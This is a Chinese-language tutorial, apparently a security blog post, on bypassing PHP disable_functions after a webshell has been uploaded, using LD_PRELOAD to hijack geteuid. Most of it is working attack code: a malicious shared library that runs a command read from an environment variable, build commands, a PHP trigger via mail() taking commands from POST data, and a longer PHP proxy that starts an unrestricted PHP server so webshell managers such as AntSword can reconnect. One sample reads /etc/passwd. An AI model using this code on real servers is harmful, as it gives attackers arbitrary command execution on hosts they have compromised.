0x00 前言
在平时传马子的时候经常会遇到disable_functions把我们的执行函数禁止的情况,相当于传上去的马子直接变成了吉祥物,也就是哑Shell。身为搞安全的那肯定是要去想办法绕过disable_functions,之前一直用的都是蚁剑的自动bypass的插件(非常好用) ,今天就来研究一下这些bypass的原理是什么
0x01 LD_PRELOAD
LD_PRELOAD是什么?
LD_PRELOAD是Unix中的一个环境变量,可以设置成一个指定库的路径,由于动态链接库较其他的库有着更高的优先级,允许预加载指定库中的函数和符号覆盖掉后续链接的库中的函数和符号,所以我们可以利用这一特性,生成我们自己的恶意的动态链接库来覆盖正常的函数库。
原理
通过劫持系统函数,使得程序加载我们的恶意动态链接库文件从而绕过php的disable_functions来执行系统命令
putenv() Bypass
为了更好的理解系统函数的劫持,这里参考安全客的一篇文章来举一个例子
参考链接:https://www.anquanke.com/post/id/197745#h3-12
我们来看一下最常见的命令:id
strace -f id
查看id命令实际的API调用情况,发现会调用如下这几个函数(无参数函数往往是函数劫持的首选)
利用man命令查看函数圆型,这里查看第一个函数 geteuid()
下面红框中的两个函数都是可以劫持的,我这里就保持和上面一致,选择geteuid
构造对应的格式进行劫持
#include <unistd.h>
#include <sys/types.h>
uid_t geteuid(void){
system("cat /etc/passwd");
}
这里利用system函数执行了cat /etc/passwd
利用如下命令生成动态链接库
gcc --share -fPIC bad.c -o bad.so
-fPIC: 即产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意位置,都可以正确的执行
接着尝试命令
LD_PRELOAD=./bad.so id
利用LD_PRELOAD来加载我们的恶意库,来覆盖geteuid函数从而执行我们的恶意命令
ps:这里cat /etc/passwd 会执行多遍
通用动态链接库代码
#include <stdlib.h>
__attribute__((constructor)) void test(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}
利用 GNU C 中的特殊语法 __attribute__ ((attribute-list))
,当参数为 constructor 时就可以在加载共享库时运行,通常是在程序启动过程中,因为带有”构造函数”属性的函数将在 main() 函数之前被执行,类似的,若是换成 destructor 参数,则该函数会在 main() 函数执行之后或者 exit() 被调用后被自动执行
也就是说在 PHP 运行过程中只要有新程序启动,在我们加载恶意动态链接库的条件下,便可以执行 .so 中的恶意代码
mail()函数触发
strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"
发现触发了sendmail
再进行跟踪,发现sendmail同样调用了geteuid
所以大致思路就有了
我们首先构造恶意的动态链接库,让LD_PRELOAD来加载我们的动态链接库,以此来劫持我们的geteuid函数,然后利用sendmail函数进行触发,这样我们就可以绕过disable_functions 来执行命令了。
构造恶意so文件
dym.c
利用getenv来获取环境变量中cmd的值,然后再将数值给system函数进行执行从而绕过php的disable的限制
#include <stdlib.h>
__attribute__((constructor)) void test(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}
利用gcc进行编译
gcc --share -fPIC dym.c -o dym.so
编写php文件
这里需要用到putenv函数来设置环境变量cmd=我们要执行的命令
<?php
// cmd = 是要执行的命令 设置环境变量cmd
putenv("cmd=".$_POST['x']);
putenv("LD_PRELOAD=./dym.so");
mail("a@localhost", "", "", "", "");
// 如果mail函数无法使用,则可选择下面的替代方案
// error_log('',1);
// mb_send_mail('','','');
// imap_mail("1@a.com","0","1","2","3");
?>
但是这样感觉在实际使用过程中还是比较麻烦
1.结果没有回显
2.蚁剑等webshell管理工具无法连接
所以参考蚁剑上绕过插件的代码进行了简单的修改
https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg
蚁剑中插件的原理是利用如下命令在当前web目录下重新开一个服务,然后将原来不能执行命令的webshell的流量转发到我们这个新开的服务上
php -n -s 127.0.0.1:60661 -t /home/wwwroot/default
-S 127.0.0.1:61111 : 新web服务监听地址
-t /home/wwwroot/default : 新http服务的Web根目录,可随便指,只要保证那个目录下面有个 php webshell 就行,建议是直接指定成 shell 当前目录
-n : 表示不使用 php.ini, 这个新的服务PHP用的是默认配置,核心所在
所以我们只需要将上面的php代码和蚁剑插件的代码结合即可
Ps: 使用前需要将有注释的地方修改为自己的部分
<?php
// 本脚本需要根据自己的情况修改才可使用
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("
",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
// cmd=php的绝对路径 -n -s 127.0.0.1:60661 -t 当前webshell所在的目录
// php
// php.exe
// /usr/bin/php
// C:/php/php.exe
putenv("cmd=/usr/bin/php -n -s 127.0.0.1:60661 -t /home/wwwroot/default");
// 恶意so文件名
putenv("LD_PRELOAD=./dym.so");
mail("a@localhost", "", "", "", "");
// error_log('',1);
// mb_send_mail('','','');
// imap_mail("1@a.com","0","1","2","3");
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60661; // 端口和上面的端口保持一致
$errno = '';
$errstr = '';
$timeout = 30;
// webshell 的名字
$url = "/sdcWcxKxf.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";
$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;
在实际使用的情况下,当我们拿到一个哑shell的时候,直接上传恶意so文件,然后将该php文件上传上去即可,密码还是之前webshell的密码
即可执行命令
参考链接
https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg
https://www.anquanke.com/post/id/197745#h3-12
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/#Method1%E2%80%94%E2%80%94%E5%8A%AB%E6%8C%81getuid